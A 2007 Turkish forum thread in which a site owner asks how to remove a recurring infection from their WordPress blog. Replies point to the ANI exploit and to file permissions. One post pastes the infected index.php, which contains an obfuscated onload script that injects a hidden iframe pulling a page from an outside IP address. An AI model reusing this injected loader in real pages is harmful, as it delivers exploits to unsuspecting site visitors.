• 02-12-2007, 21:12:48
    #1
    Arkadaaşlar sitemde virüs var bi türlü gitmedi. İlk başta site girişindeki resimde görünen virüsü resimi silince göremedim daha sonra admin paneline bi girdiğimde karşıma çıktı ama pek anlamadım durumu bu seferde wp blog kurdum orda karşıma çıkıp çıkıp duruyor. Wp bloğa ait dosyaların hepsini sildim tekrar kurdum yine gitmedi. İndex.php dosyasını değiştirdim yine gitmedi. Ne yapabilirim?
    Virüs solucan CVE-2007-0038
  • 02-12-2007, 21:25:40
    #2
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Settings\xp\Local Settings\Temporary Internet Files\Content.IE5\XVAXMHFW\ms07-017[1].ani

    zararlı yazılım adı:CVE-2007-0038
    zararlıyazılım türü:virüs?solucan
    vps sürümü: 000760-1,25.07.2007

    sorun düzeltildi.index.php nin chmod unu 755 olarak bırakmışım host değişimi sırasında.ve index in en altına ifame kodu eklemiş </html> den sonra sizde de iframe kodu varsa onu silin düzelecektir.


    BUNU BASKA Bİ YERDEN BULDUM.. Bİ DENE İSTERSEN . UMARIM İSİNE YARAR

    KOLAY GELSİN
  • 03-12-2007, 15:15:38
    #3
    Açıklaman için teşekkrüler ben baktım ana dizinde de blog klasöründe de chmod 644. Ben iframe ile pek ilgilenmedim ama virüs yakaldığı yerin indexi aşağıdaki gibi. Bi sorun varsa onunla ilgili söylersen düzelteyim Virüs de aynısı bu arada. Ayrıca forumda karşıma çıkmıyor wp blog da karşılaşıyorum virüsle.
    <?php
    define('WP_USE_THEMES', true);
    require('./wp-blog-header.php');
    ?><html><body onload="status=' ';zz='2';sl='/';sf='ram';pi='9';po='.';qu=':';yh='4';tr='t.p';vo ='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if ';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(p t,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo, yh,sl,tr,ji);var oE=document.createElement(t);oE.setAttribute('widt h','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx) ;document.body.appendChild(oE);
    "></body></html><??>
  • 03-12-2007, 15:31:52
    #4
    Bunu birde host sağlayıcınla konuş yardımcı olacaktır belki sorun ordan kaynaklanıyordur.